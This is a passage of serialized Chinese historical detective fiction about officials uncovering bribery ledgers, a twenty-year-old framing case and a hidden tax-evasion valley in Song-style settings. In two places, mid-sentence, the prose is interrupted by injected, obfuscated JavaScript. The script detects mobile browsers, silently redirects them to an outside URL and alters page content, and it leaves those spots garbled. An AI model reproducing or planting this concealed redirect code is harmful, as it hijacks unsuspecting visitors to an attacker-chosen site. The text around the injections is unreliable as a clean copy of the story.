“昨夜…昨夜子时，有人送了口新棺来。”老郭指向角落，“说是在天街捡的浮尸，让暂存三日，等家人来领。” “何人送棺？” “两个汉子，戴斗笠，看不清脸。但老朽闻到…”老郭抽抽鼻子，“闻到股炭火气，混着羊膻味——是天街炭行伙计的味道。” 陆文秀命人开棺。棺中果有尸首，男，四十许，着青色绸袍，面容浮肿，但可辨眉眼清秀。致命伤在咽喉——道极细的勒痕，深入喉骨。 “是弓弦。”陆文秀验看伤痕，“军中硬弓的弦，三股牛筋绞成，勒人时会在皮肉留下螺旋纹。”他翻看死者右手，虎口茧厚，“是长年打算盘的手。左手…” 他抬起死者左腕，见腕内侧有处旧疤，形如梅花。 “这疤…”书办惊道，“像是…火烙印？” “是‘逃奴印’。”陆文秀沉声道，“本朝初年，官奴逃亡被抓，会在左腕烙梅花印。但这印记二十年前已废，此人若是逃奴，该是陈年旧案。” 他命人搜查尸身。在死者内襟夹层，摸出片油纸，纸上以蝇头小楷抄着行地址： “天街瓦子巷第七户，石记炭行” 石记炭行。与账册花押“石敢当”的石姓，可有关系？ 二、 炭行暗账 天街瓦子巷是条斜街，石板路被百年煤灰染成墨色。第七户门脸三间，黑底金字招牌“石记炭行”，但铺门紧闭，贴着府衙封条——是三日前，因“私贩石炭”被查封的。 陆文秀撬开封条。铺内空荡，只柜台后堆着几十本账册。他随手翻开一本，是寻常炭行出入账，但细看，每页页脚都标着古怪符号：○、△、□、☆。 “这是密账。”书办道，“以图形代指交易事项。○或是官炭，△是私炭，□是…” “是贿银。”陆文秀指着某页，页脚画□，旁注“腊月十五，付东城刘管事银二百两”。他连翻数本，发现□形出现最频，涉及银两从五十到五千不等，收款人涵盖汴京半数衙门。 正看着，后堂忽然传来“咚”的一声闷响。陆文秀疾步闯入，见后墙书架移开半尺，露出个黑洞。洞内有风涌上，带着陈腐的纸张气味。 是个地窖。 窖不深，但堆满木箱。开箱，尽是账册，分门别类：盐课、茶税、市舶、漕运…每本皆以朱笔批注，记着某年某月某官收银若干。最新那本封皮写着“宣和九年冬”，翻到末页，墨迹尚新： “腊月廿二，收炭行东主石敢当‘年敬’银一万两。注：此系最后一笔，石已知太多，当除。” 落款花押，赫然是“铁面御史赵清臣”！ 陆文秀手一颤。赵清臣他知道，现任御史台侍御史，以刚正敢言闻名朝野，上月还参倒了贪墨的漕运总督。这样的人，怎会收炭行的年敬？ “参军快看！”书办从箱底翻出卷画轴。 轴是绢本，绘着幅《清明上河图》般的市井长卷。但细看，图中每个人物旁都标着小字：卖炭翁旁注“石敢当，年贿三千”，茶楼书生旁注“赵清臣，年收五千”，甚至桥头乞丐旁也注“李三，眼线，月钱二百”… 这竟是张汴京官商勾结的“清明上河图”！ “石敢当…”陆文秀喃喃，“他既行贿，为何又记账？既记账，为何又被人灭口？这泥偶、账册、尸体、地窖…像是有人故意布下线索，引我们查案。” “引我们查谁？” 陆文秀指向画卷一角。那里绘着座高门府邸，门匾模糊，但门前石狮缺了左耳——这是汴京人都知道的：左狮缺耳，是二十年前“癸未科场案”中被抄家的前礼部尚书，张墨林的旧宅。 张墨林，正是当年主张废除逃奴印的官员之一。 三、 旧宅鬼影 张府旧宅在城西鸣玉坊，荒废二十年，墙头长满枯草。陆文秀踏进府门时，夕阳正沉，将断壁残垣染成血色。 正堂梁上，悬着个人。 是个老者，六十许，着葛布道袍，双目圆睁，舌吐三寸。颈间勒痕与义庄尸首如出一辙——弓弦绞杀。但怪的是，老者右手紧握，拳中露出纸角。 陆文秀掰开拳头，是张当票。当的是块“蟠螭白玉佩”，当期三月，当银五百两。当铺印章：“裕丰典”。 “参军，这里有字！”书办指着老者左脚旁的青砖。砖上以血写着： “泥偶怀账，旧宅悬尸。欲知癸未真相，且看玉佩归处。” 癸未真相。二十年前癸未科场案，张墨林被参受贿篡改试卷，导致三百举子落榜，十余人自尽。张被抄斩，家产充公。但此案疑点重重，张临刑前高呼“账簿在泥中”，无人听懂。 “难道…”陆文秀猛然想起天街泥偶，“泥偶怀的账，就是癸未案的账簿？” 他急返府衙，调阅癸未案卷宗。卷已泛黄，但其中一行朱批刺眼：“犯官张墨林私藏贿银账簿，抄家未获，疑已销毁。” 若未销毁，而是被制成泥偶，沉入烂泥塘二十年呢？ “查裕丰典！”陆文秀起身，“那玉佩，是关键！” 四、 典当迷踪 裕丰典在城东虹桥下，掌柜姓钱，是个精瘦中年人。见当票，他翻账册片刻，抬头道：“这玉佩，三日前已被赎走了。” “何人赎当？” “是个妇人，戴帷帽，说官话带江南口音。她付了六百两——本金五百，利钱一百。”钱掌柜补充道，“但她赎当时，问了个怪问题。” “何问？” “她问：‘这玉佩背面的螭龙，是几爪？’” 陆文秀一怔。螭龙爪数有制：三爪为蟒，四爪为蛟，五爪为龙。民间玉佩，谁敢雕五爪？ “你如何答？” “老朽说，是四爪蛟龙。那妇人听后，喃喃了句‘果然’，便匆匆离去。”钱掌柜压低声音，“但老朽记得，那玉佩的螭龙…其实是五爪。只是第五爪藏在云纹里，不细看看不出。” 五爪龙佩，非亲王以上不敢用。张墨林一介文官，怎会有此物？ 陆文秀正思量，门外忽然冲进个衙役，气喘吁吁：“参军！张府旧宅…又出事了！” 赶回鸣玉坊，夜色已浓。旧宅后院的枯井边，倒着个黑衣人，胸口插着柄匕首，已气绝。但黑衣人手中，紧攥着半片羊皮。 羊皮上画着幅地图，标着三个点：天街烂泥塘、张府旧宅、以及…汴河码头第十三号仓。 “这是…”书办惊呼，“凶手在指引我们去码头！” “不。”陆文秀拾起羊皮，“是有人在借凶手之口，继续指路。你们看这匕首——” 匕首柄镶着颗绿松石，石上刻着个徽记：圆环套三角，三角中有点。 “是‘三元会’的标记。”陆文秀脸色凝重。 三元会，汴京地下帮会，专做走私、刺杀、销赃的买卖。但传闻其背后，有朝廷大员撑腰。 “去码头。”陆文秀收刀入袖，“这局，该收网了。” 五、 码头血账 汴河码头第十三号仓是座废弃的砖仓，临水而建，墙皮剥落。陆文秀带人潜至仓外，听见内有说话声。 是两个男子。一人声音苍老：“…账簿既出，赵清臣必倒。他倒，空出的御史位，该轮到老夫了。” 另一人声音年轻，带谄媚：“恩相放心，泥偶、尸首、账册，都已安排妥当。陆文秀那厮，此刻定在追查玉佩，绝想不到真相在…” “在何处？”陆文秀推门而入。 仓中二人惊起。老者绯袍玉带，竟是现任户部侍郎周廷儒！年轻者青衫小帽，是周府管家。 “陆参军？”周廷儒强作镇定，“深夜来此，有何公干？” “来取癸未案的真相。”陆文秀亮出羊皮地图，“周大人，二十年前张墨林受贿的账簿，其实是你伪造的，对否？你为夺户部侍郎位，构陷张墨林，又以泥偶藏真账，防人翻案。如今赵清臣要查漕运亏空，触及你的利益，你便想借旧案扳倒他…” “胡言！”周廷儒厉喝，“你有何证据？” “证据在此。”仓外忽然传来女子声音。 帷帽妇人踏入仓中，摘帽，露出面容——五十许，眉目与张墨林有七分相似。她手中捧着个锦盒，盒开，内盛玉佩，正是那蟠螭五爪龙佩。 “此佩，是家父与故太子结盟的信物。”妇人直视周廷儒，“二十年前，故太子欲革盐政，触犯你等利益。你伪造账簿，诬陷家父受贿，实则是要打击太子一党。家父临刑前，将真账封入泥偶，沉入烂泥塘，等的就是今日！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088163|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周廷儒面如死灰。忽然，他袖中滑出柄短剑，直刺妇人！陆文秀拔刀格挡，两人在仓中激斗。周廷儒年老，但剑法狠辣，招招致命。斗到第十合，陆文秀卖个破绽，诱他直刺，侧身闪过，反手一刀劈中他右腕。 短剑落地。管家见势不妙，欲跳窗逃，被衙役按住。 “周廷儒，”陆文秀收刀，“你可知，那泥偶为何会在今冬浮出？” 周廷儒喘息不语。 “因为烂泥塘下，是前朝冰窖。”妇人轻声道，“每年腊月，塘水结冰，泥偶被封冰下。今冬暖，冰薄，泥偶这才浮出。天意，要家父沉冤得雪。” 仓外忽然传来嘈杂声。火光中，大批禁军涌至，为首者竟是赵清臣！他手持圣旨，朗声道： “周廷儒接旨！尔构陷忠良，贪墨国帑，着革职拿问，交三司会审！” 周廷儒瘫软于地。赵清臣转向陆文秀，深深一揖：“陆参军明察秋毫，破此二十年悬案。本官…惭愧。” 原来，赵清臣早疑周廷儒，但苦无实证。那泥偶浮出，他知时机已到，便暗中推动陆文秀查案，自己则调兵擒拿。 “那玉佩…”陆文秀看向妇人。 “确是故太子所赠。”妇人泪下，“家父为保此佩，宁担污名。他说，有朝一日，此佩现世，便是盐政可革之时。” 赵清臣郑重接过玉佩：“本官必以此佩为证，上书陛下，重审癸未案，革除盐政积弊！” 六、 天街新泥 三个月后，癸未案昭雪。张墨林追复原职，以礼改葬。周廷儒判斩，家产充公。赵清臣因破案有功，迁御史中丞，首奏便是“革盐政十疏”。 腊月廿三，又是年关。天街烂泥塘已被填平，正在建义塾。陆文秀路过时，见几个孩童在玩泥巴，捏了个小小泥偶。 “捏的什么呀？”他蹲身问。 “捏清官！”孩童举着泥偶，“娘说，清官就像这泥偶，埋在泥里二十年，还是干净的！” 陆文秀笑了。他摸摸孩童的头，望向远处。夕阳下，汴河码头依旧船只往来，鸣玉坊的旧宅已开始修缮。 而那个戴帷帽的妇人，昨日已离京南下。她说，要去江南开间书塾，教寒门子弟读书。 “参军，”书办轻声问，“这案，真结了吗？” “结了吗？”陆文秀望向皇宫方向，“周廷儒倒了，可他背后的盐商、漕帮、那些账册上的名字…还在。赵中丞的十疏，能推行几分？癸未案昭雪了，可那些因冤案家破人亡的人，能活过来吗？” 他弯腰，从地上抓起把新泥。泥是黄的，在夕阳下闪着微光。 “这汴京城，就像个巨大的烂泥塘。清官、贪官、忠臣、奸佞，都在里头滚着。有的沉下去，有的浮上来。但终究…” 他松手，泥土从指缝漏下。 “终究有些东西，是泥巴糊不住的。” 尾声泥中书声 次年春，天街义塾开课。塾名“泥中书舍”，楹联是赵清臣亲题： 泥中可埋骨，不可埋心 世上能染衣，不能染性 开塾那日，陆文秀送去套《史记》。塾师是个青衣妇人，正教孩童念《陋室铭》。见他来，颔首微笑。 窗外，天街的早市正热闹。卖炭翁的吆喝、茶楼的琵琶、码头的号子，混成一片嗡嗡的市声。 而在更深的宫阙里，一场关于盐政的新辩论，刚刚开始。 泥偶会腐朽，账册会泛黄，人会死去。 但总有一些真相，不肯沉默。 总有一些人，在泥泞中，还要仰望星空。 本章惕世 一、 泥偶藏账之诈 - 以民俗之物（泥偶）藏惊天证据，利用“最危险即最安全”心理 - 破解法：凡遇非常规载体，必思其材质、工艺、保存环境 - 示例：养尸泥配方、糯米浆防蛀、铜钱标记 二、 案中案局之诈 - 表面查凶杀，实为翻旧案；表面反腐，实为党争 - 破解法：凡见“过多巧合”，必有深层布局；凡称“陈年旧案”，必查谁在掩盖 - 示例：泥偶浮出时机、癸未案关联、玉佩政治含义 三、 清官面具之诈 - 赵清臣先以“被诬”形象出现，实为布局者 - 惕世：越是完美形象，越可能藏另一面；越是“铁面”，越可能为政治目的 - 示例：赵暗中推动查案、调兵时机精准、接玉佩的郑重 官场鉴： 泥塘深，可沉骨；账册厚，可杀人。 清官未必真清，贪官未必全贪。 二十年冤案昭雪，不过新一轮党争开始。 后世叹： 天街泥浮三尺偶，旧宅梁悬廿载仇。 炭行密账藏星月，龙佩深纹隐王侯。 三更码头血溅纸，一朝朝堂霜满头。 莫道沉冤终得雪，新泥又覆汴河舟。 正是： 腊月天街泥偶浮，旧宅新尸证未休。 炭行账记三千贿，龙佩纹藏五爪谋。 廿载沉冤冰下雪，一朝翻案火上油。 谁言泥泞能封口，书舍春深读《陋楼》。 12. 桃源血谳 楔子竹筏浮尸 云梦泽西三百里，有山名“忘归”。山中有溪，名“避秦”，相传沿溪上行七日，可见桃花林，林尽有洞，洞后即桃源。 永和九年春，六个游山人雇了老渔夫苏大的竹筏，说要溯避秦溪寻桃源。七日后，筏子自己漂了回来，筏上躺着一人，浑身是血，手里紧攥着片桃花瓣，瓣上用血写了两字： “有税” 一、 筏上验伤 江陵府司理参军苏子明，是苏大的远房侄儿。他赶到渡口时，日头正毒。那筏上人已抬到树荫下，是个二十出头的书生，着月白襕衫，但衣衫被荆棘勾得破烂。左胸有道刀伤，深可见骨，但非致命；致命的是后脑撞击伤。 “是落水撞了礁石。”作作老秦翻看伤口，“但怪了——这刀伤是自下往上刺的，凶犯比死者矮，或是蹲着出刀。” 苏子明细看。刀口窄，入肉三分，是匕首类短刃。但书生虎口无茧，不似会使刀之人。他掰开死者右手，掌心有道新磨的血泡，形状奇特——是长时握船篙才有的竖泡。 “他不是乘客，是撑筏人。”苏子明起身，“可苏大说，六个客人里，没有撑筏的。” “难道是…他半路替换了苏大？” 苏子明不答，俯身搜查。在书生腰间革囊中，摸出块木牌，上刻“江州白鹿书院林见素”。另有一卷湿透的《桃花源记》，页边密密麻麻写满批注，最末一句： “武陵人不足信，税吏或可往？” 正看着，苏大颤抖着递来片东西：“这…这是在筏缝里找着的。” 是半块玉佩，雕作蟠螭形，断口新鲜。玉质温润，是上等和田青玉，绝非寻常书生能佩。 “那六个客人，什么模样？”苏子明问。 苏大回忆：“为首的是个黑脸汉子，姓雷，说话带北地口音。有个白面书生，姓柳，一路都在吟诗。还有个女扮男装的姑娘，瞒不过老汉的眼…剩下三个，像是护卫，腰里鼓囊囊的。” “他们可带行李？” “带了三口箱子，沉得很，上筏时压得筏子一沉。”苏大比划，“那雷爷说，是‘祭桃源用的香烛纸马’。” 苏子明冷笑。什么香烛要三口箱子？他命人沿溪搜寻，午时在十里外的“回龙滩”，发现了苏大那根特制的铁头船篙。篙插在浅滩石缝中，旁有搏斗痕迹——草叶沾血，石上有道刀痕，深半寸。 “这是…军中制式腰刀的痕迹。”苏子明以手量刀痕，“刀宽一寸二，是边军惯用的‘破风刀’。” 六个寻桃源的人，怎会有边军腰刀？ 他沿搏斗痕迹往山上寻，在半山腰发现个山洞。洞口藤蔓有新鲜扯断的痕迹，洞内不深，但有堆灰烬，灰中埋着片烧残的纸。纸是官制公文用笺，残存一行： “……年粮三万石，已运至……” 粮？运粮公文怎会出现在寻桃源的山洞里？ 苏子明忽想起一事：上月江陵府接邸报，说户部有一批漕粮在云梦泽失踪，计三万石。运粮官姓雷，名震岳。 雷…黑脸…北地口音… “回府！”他翻身上马，“调近三年所有运粮亏空案卷！” 二、 山中税碑 卷宗堆积如山。苏子明查到子夜，终于在三年前一桩旧案中，找到线索： “永和六年秋，江州税吏柳文渊，揭发漕运使雷震岳虚报损耗，私卖官粮。不久，柳文渊携证据返乡途中，于云梦泽遇匪，尸骨无存。所携账册失踪。” 柳文渊…柳… 他急唤书吏：“查江州白鹿书院，可有个叫林见素的？他与柳文渊可有关系？” 书吏翻检片刻，惊呼：“有！林见素是柳文渊的外甥！柳文渊死后，他弃科举入白鹿书院，一直在暗中追查舅父冤案！” 原来如此。林见素假扮游山人，混入雷震岳的队伍，是为寻账册。可雷震岳为何要寻桃源？难道… 苏子明猛然站起：“桃源！是了，若想藏匿三万石粮，还有比世外桃源更隐蔽的地方么？” 他连夜点齐捕快，再入忘归山。这次不走水路，自山脊翻越。次日晌午，在一处绝壁上，发现块石碑。 碑是青石，半埋土中，上刻： “桃源界” “入此界者，亩税三斗，丁税五百。抗税者，永堕迷津，不见归路。” 落款小字：“大楚永平三年立”。 “大楚…”苏子明蹙眉。史载无“大楚”年号，这碑是伪造的。但“亩税三斗，丁税五百”——这税率，竟与本朝一模一样！ 更奇的是碑后，有行新刻的小字： “武陵人已死，税吏今又来。桃源不在世外，在税册之中。” 字迹与林见素批注如出一人。 “他在此留记号。”苏子明抚碑，“看来，他找到了。” 找到什么？是桃源，还是账册？ 正思量，山下忽然传来呼哨声。一个樵夫打扮的汉子连滚带爬上来：“官爷！那边…那边山谷里，有死人！” 三、 谷中税仓 死人是个护卫打扮的壮汉，仰面倒在溪边，喉间插着支竹箭。箭是山中毛竹所削，但箭镞却闪着铜光——是制式箭镞，被人绑在了竹竿上。 苏子明拔箭细看。箭镞刻着个“雷”字。 “是雷震岳的人。”他环顾四周，“看来，他们内讧了。” 沿溪上行二里，山谷豁然开朗。眼前景象，让所有人倒吸凉气—— 山谷中，整整齐齐垒着上千个麻袋！袋上朱漆印着“江州漕粮”“永和八年秋”字样。正是失踪的那三万石粮！ 粮堆旁，搭着几座草棚。棚中锅灶尚温，但空无一人。苏子明搜检草棚，在其中一座的草铺下，翻出本账册。 册子封皮写着《桃源岁入簿》。翻开，首页记： “永和六年，收‘桃花税’银五千两。” “永和七年，收‘避秦捐’银八千两。” “永和八年，收‘忘归粮’三万石…” 每笔下列着纳“税”人姓名，竟是江州、岳州、荆州等地二十七家大户！他们以“寻桃源”为名，将粮食、银钱运至此谷，实为…避税！ 原来所谓“桃源”，是个庞大的地下避税天堂！富户将产业伪报为“寻桃源开支”，将钱粮运至此地隐匿，逃避朝廷税赋。而雷震岳，就是这“桃源”的守门人。 “好个世外桃源，”苏子明冷笑，“原来是逃税天堂。” 他继续翻册，见末页记着笔新账： “永和九年春，收柳文渊外甥林见素‘投名状’——漕运亏空账册一本。然林氏欲反悔，已处置。” 处置…是杀了么？可林见素的尸体在筏上，那谷中死的护卫是谁杀的？ 正思量，谷外忽然传来女子惊呼：“救命——！” 四、 洞中桃花 声音来自山谷深处。苏子明率人急追，穿过一片桃林——此时非花期，但林中桃树竟开着花！细看，是绢扎的假花，每朵花蕊里，塞着颗金珠。 “以假乱真…”苏子明摘下一朵，金珠底刻着“岳州周记”。 岳州首富周万年。账册上有他名字，纳银一万两。 桃林尽头是面绝壁，壁上有洞，洞内隐约有光。苏子明示意众人噤声，贴壁靠近。洞中传来对话： “雷爷，账册已毁，林见素已死，此事该了了。”是个女子声音。 “了？”雷震岳的粗嗓门，“柳文渊那本真账册，还没找到！林见素临死前说，他藏在‘武陵人最想不到处’…” “武陵人最想不到处…”女子沉吟，“莫非是…” 话音未落，洞外忽然射进支火箭，正中洞中油灯！轰然一声，火光腾起。苏子明冲入洞中，见雷震岳正与一女子缠斗。那女子着劲装，面容姣好，但出手狠辣，招招致命。 “住手！”苏子明喝道。 雷震岳见官差，竟不逃，反大笑：“来得好！苏司理，你可知这女子是谁？她就是柳文渊的女儿，柳如眉！” 苏子明愕然。柳如眉收刀后退，冷冷道：“不错，我是柳如眉。三年前我父被害，我潜入雷府为婢，就为今日。” “那林见素…” “是我表兄。我二人约好，他混入雷贼队伍，我里应外合。”柳如眉泪涌，“可雷贼狡诈，半路识破，杀了我表兄…” “胡说！”雷震岳嘶吼，“林见素不是我杀的！是…是他！”他指向洞外。 一道人影闪过，快如鬼魅。苏子明追出，见那人已奔至绝壁边，纵身跃下！他扑到崖边，只见崖下是深潭，人影入水，再无踪迹。 “那是谁？”他回头喝问。 雷震岳惨笑：“是…是‘桃源’真正的主人。” “谁？” “一个你们永远抓不到的人。”雷震岳忽从怀中抽出匕首，刺入心口，“因为…桃源，不在山中…在…” 话未完，气已绝。 苏子明扶住他：“在何处？” 雷震岳瞪着眼，手指颤巍巍指向洞壁。壁上刻着首诗，墨迹犹新： “朝避秦税暮避捐，寻得桃源亦是捐。 武陵太守今犹在，岁岁桃花换税钱。” 诗下有小注：“见素绝笔。” 林见素临死前，在此留诗。那“武陵太守”是谁？莫非是… “江州刺史，武陵侯刘琮？”苏子明脱口而出。 刘琮，当朝皇叔，封地就在武陵郡。若他是“桃源”之主，一切便说得通了——唯有皇亲，才能让雷震岳这样的四品官甘心为奴；唯有藩王，才能让二十七家大户乖乖“纳捐”。 柳如眉走过来，轻声道：“苏大人，您还要查么？” 苏子明沉默。查皇叔，等于蚍蜉撼树。可不查，三万石粮、数十万两银，就永远成了“桃源”的养料。 “查。”他缓缓道，“但不必急。先封了这山谷，将账册、证物，秘密运回江陵。” “然后呢？” “然后…”苏子明望向洞外假桃花，“等真正的桃花开时，该落的，总会落。” 五、 桃花税册 三个月后，桃花真开了。 江陵府衙后园，苏子明独坐花下，翻着本新册子。这是他以《桃源岁入簿》为底，重新整理的“捐税清册”，记录了二十七家大户三年来逃税总数：银四十二万两，粮五万石。 册子旁，摆着那半块蟠螭玉佩。他已查实，玉佩是武陵侯府之物，另一半在刘琮手中。雷震岳死前指向的诗，矛头直指这位皇叔。 可如何上奏？证据链中，缺最关键一环：刘琮直接下令的证据。 “大人，”书吏来报，“岳州周万年，求见。” 周万年，账册上纳银最多者。苏子明整衣出迎。周万年是个富态老者，见面就跪：“苏大人救命！” “周翁何出此言？” “小人…小人是被迫纳捐的！”周万年老泪纵横，“三年前，武陵侯府管家来说，侯爷在寻一处世外桃源，供陛下晚年静养。要我们这些商户‘乐输’钱粮，算是报效皇恩。小人不敢不从，陆陆续续捐了五万两…” “可有凭证？” “有！有侯府收据！”周万年呈上一叠纸。 苏子明细看。确是武陵侯府印信，但写的不是“捐”，是“乐输桃花营造费”。好个“营造费”，将索贿包装成自愿捐献。 “你可愿作证？” “小人…”周万年犹豫。 “你不愿，本官不勉强。”苏子明淡淡道，“但你要想清楚，若此案爆发，你这‘乐输’就成了行贿。行贿皇亲，是什么罪？” 周万年瘫软在地。 当夜，苏子明秉烛写奏折。写到寅时，窗外忽然飘进片桃花瓣，瓣上以针刺字： “侯府管家赵全，已携真账册出逃，往蜀中。速截。” 无署名，但字迹娟秀，是柳如眉。 苏子明即刻发海捕文书。十日后，蜀道剑门关，赵全被截获。从他行李中搜出的，不是账册，是份名单——列着朝中二十七位官员，都曾收过“桃源”的“桃花敬”。 名单首位，竟是当朝户部尚书。 “好大一张网。”苏子明看着名单，手在抖。 这已不是一桩税案，是震动朝野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088164|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的贪腐大网。而他，一个六品司理，要揭这张网？ “大人，”柳如眉不知何时出现在书房，“我父亲临终前说，有些真相，知道了比不知道更痛苦。” “那你为何还要追查？” “因为，”柳如眉望向窗外明月，“桃花年年在，可看花的人，不能年年闭着眼。” 她递过一卷画轴。展开，是幅《桃源征税图》：画中桃花灿烂，但树下税吏狰狞，农人跪地纳粮。题诗： “闻说桃源赋税轻，不知税册重千钧。 武陵人已成税吏，犹向花间问古人。” “这是…林见素画的？” “是。”柳如眉泪下，“表兄说，他要画尽世间伪桃源。这幅，是最后一幅。” 苏子明卷起画轴，收入袖中。 三日后，大朝会。苏子明敲登闻鼓，当殿呈上账册、名单、画轴。少年天子震怒，下旨彻查。 三个月后，武陵侯刘琮削爵圈禁，户部尚书罢官。二十七家大户补税罚银，总计百万两。朝中二十七官员，或贬或流。 而“桃源”山谷，被朝廷查封，改为“劝农庄”，收容流民耕种。那些绢扎桃花，被一把火烧尽。 灰烬飞起时，像极了真桃花凋零。 六、 真桃源谳 结案那日，苏子明邀柳如眉登忘归山。春深时节，真桃花开了满山。 “柳姑娘今后有何打算？” 柳如眉摘朵桃花，轻嗅：“回江州，重开父亲的书院。这次，不教八股，教《桃花源记》。” “哦？如何教？” “教学生读懂最后一句：‘后遂无问津者’。”柳如眉微笑，“为何无人问津了？是因找不到，还是因…找到了，才发现一样要纳粮？” 苏子明大笑。笑罢，正色道：“本官已上书，请革‘捐输’之名，定‘乐输’上限。另在云梦泽设‘税监司’，专查田亩隐匿、税粮亏空。” “大人不怕…再来个‘桃源’？” “怕。”苏子明望向群山，“但怕，就不做了么？桃花年年在开，税吏年年在收。我们能做的，不过是让看花的人，纳粮时少跪一寸，抬头时多看一眼前面的路。” 他自怀中取出那半块玉佩，轻轻一捏——玉应声而碎。 “这假桃源，该碎了。” 碎玉落入山涧，随溪水漂向山外。柳如眉忽然道：“大人可还记得筏上那血字——‘有税’？” “记得。是何意？” “表兄临死前说，他在真账册末页，也写了这两字。”柳如眉轻声道，“他说，要让后来人知道，这世间从无无税之土。所谓的世外桃源，要么是谎言，要么是…更大的牢笼。” 苏子明沉默良久，摘下一朵真桃花，别在她鬓边。 “那我们就做看牢笼的人。有人筑笼，我们拆笼；有人撒谎，我们揭谎。一代人做不完，就两代、三代…” 他转身下山。身后，柳如眉的声音随风飘来： “苏大人，若真有一个无税的桃源，你会去么？” 苏子明不回头，只摆摆手： “不去。因为那里，一定没有你这样的人，问我这样的话。” 山风过处，桃花如雨。 而山下的江陵城，新一轮税粮，刚刚开征。 尾声税吏归田 十年后，苏子明致仕，在忘归山下结庐而居。门前种了三亩桃树，春来花开，他就在树下摆张桌子，教村童识字。 教的头一课，永远是《桃花源记》。 这日，有个游山人路过，讨水喝。见他在教此文，笑问：“老先生信世外桃源么？” 苏子明指指脚下：“这里就是。” “这里？”游人四顾，“这里也要纳粮啊。” “纳粮不好么？”苏子明微笑，“纳了粮，才有官道可走，才有学堂可上，才有我在此教你识字。若真有无税之地，谁给你修路？谁给你建学？谁在此陪你说话？” 游人怔住。 “年轻人，”苏子明斟茶，“这世间最好的桃源，不是无税之地，是纳了税，能看见税化作了路、化作了学、化作了你手中这碗干净的水。” 他望向门外。夕阳下，新修的官道蜿蜒如带，村塾的钟声悠扬。 而更远的江陵城，万户炊烟升起。 每一缕炊烟下，都有一本税册，一个故事。 桃花年年在开。 看花的人，终于学会了在纳税时，也能抬头看花。 本章鉴世 一、 桃源避税之诈 - 以“世外桃源”为名，行逃税天堂之实 - 破解法：凡见“无税乐土”，必查谁在买单；凡称“自愿捐献”，必核是否胁迫 - 示例：假桃花藏金珠、账册记“乐输”、税率与本朝同 二、 捐输变贿之局 - 将索贿包装为“乐输营造费” - 惕世：慈善捐款与行贿边界模糊，票据合法性成保护伞 - 反思：当“自愿”成为强迫，道德如何自处？ 三、 税吏桃源之讽 - 武陵人（寻桃源者）成了税吏，桃花源成了税源 - 深层隐喻：任何乌托邦，落到实处都是治理问题 - 终极讽刺：寻找无税之地的人，最终建立了新税制 税政诫： 桃源本在心中，何须世外追寻。 桃花可换金珠，金珠终是税银。 武陵人已成吏，犹向花间问津。 莫道山中无王法，王法在处即要纳税。 后世叹： 避秦溪上竹筏横，血写桃花“有税”声。 假作桃源藏万石，真为税吏索千城。 山中碑刻今朝律，洞内册记去岁征。 莫问武陵人何处，年年春深看花行。 正是： 永和九年春水深，竹筏载尸溯溪寻。 血瓣书“税”惊宿鹭，假花藏金诱饥禽。 碑刻丁粮同世外，洞堆麻袋胜山阴。 武陵侯爷今何在？岁岁桃花依旧吟。 13. 木兰白卷谳 楔子溪畔白卷 东夏元祐七年，木兰溪的桃花汛来得格外早。三月初九，闽中仙游县学政使秦守道，捏着一份考卷在溪边石滩上，手抖得像风中秋叶。 卷是白的。 不是未答，是答了又抹——整张卷用淡墨写了篇《论粪》，题头一句：“道在屎溺，何必寻诸经传？”而后全篇以农家肥、沟渠泥、秽物化为喻，论“圣学当如粪土，沃野养民方为真道”。 文末批四行诗： “朱注千行粪不如，程传万卷蠹有余。 若将白卷朝天阙，可换人间一本锄？” 落款：“愚公山耕读生傅惊鸿”。 秦学政认得这考生。三日前院试，有个青衫少年最后一个进场，最早一个交卷。学政当时瞥过卷面，见满纸荒唐言，以为又是狂生，便撂在落卷堆里。谁料昨夜副主考醉酒，误将落卷当荐卷呈给了督学。 督学是当朝太子少保、文渊阁大学士顾宪成，正在闽中巡察。老爷子清晨阅卷，看到“道在屎溺”四字，竟拍案长笑，连说三声“好”，命即刻提调此人。 “人在何处？”秦学政问书吏。 “在…在溪对岸愚公村，今早还见他给村童讲《沤粪要诀》。” 一、 粪土经学 木兰溪在此处拐了个急弯，冲出一片白石滩。滩上聚着三四十人，有老农、有樵夫、有织娘，还有几个总角孩童。当中青石上坐着个少年，着洗得发白的靛蓝短褐，裤腿挽到膝上，赤脚踩在溪水里。 正是傅惊鸿。 他正举着一把腐草：“诸位看，这草沤了三月，已化黑泥。若掺入沙地，来年可种花生。此便是‘化朽为沃’——圣人之道，亦当如此。将陈腐经句，沤作活水，浇灌民生，方是正途。” 一老农问：“傅小哥，你昨日说‘粪里有道’，老朽愚钝，粪臭熏天，何道之有？” 傅惊鸿笑，露出两颗虎牙：“老伯每日担粪浇菜，可知粪在坑中是秽物，入土中成养料，长出的菜人吃了有力气，人有力气方能读书明理——这粪一路变化，不就是‘格物致知’么？何必非去书里寻？” 溪对岸，秦学政与顾宪成隐在竹林后。顾宪成须发皆白，着灰布道袍，闻言捻须微笑：“此子有趣。” 秦学政皱眉：“督学，此子院试交白卷，实属狂悖…” “白卷？”顾宪成摇头，“你细看他卷上批诗——‘可换人间一本锄’。他交的不是白卷，是锄头。他要锄的，是八股地里长不出的庄稼。” 正说着，滩上来了几个书生，着绸衫，摇折扇，是县学廪生。为首的李清源冷笑：“傅惊鸿，你在此妖言惑众，辱没圣学，该当何罪？” 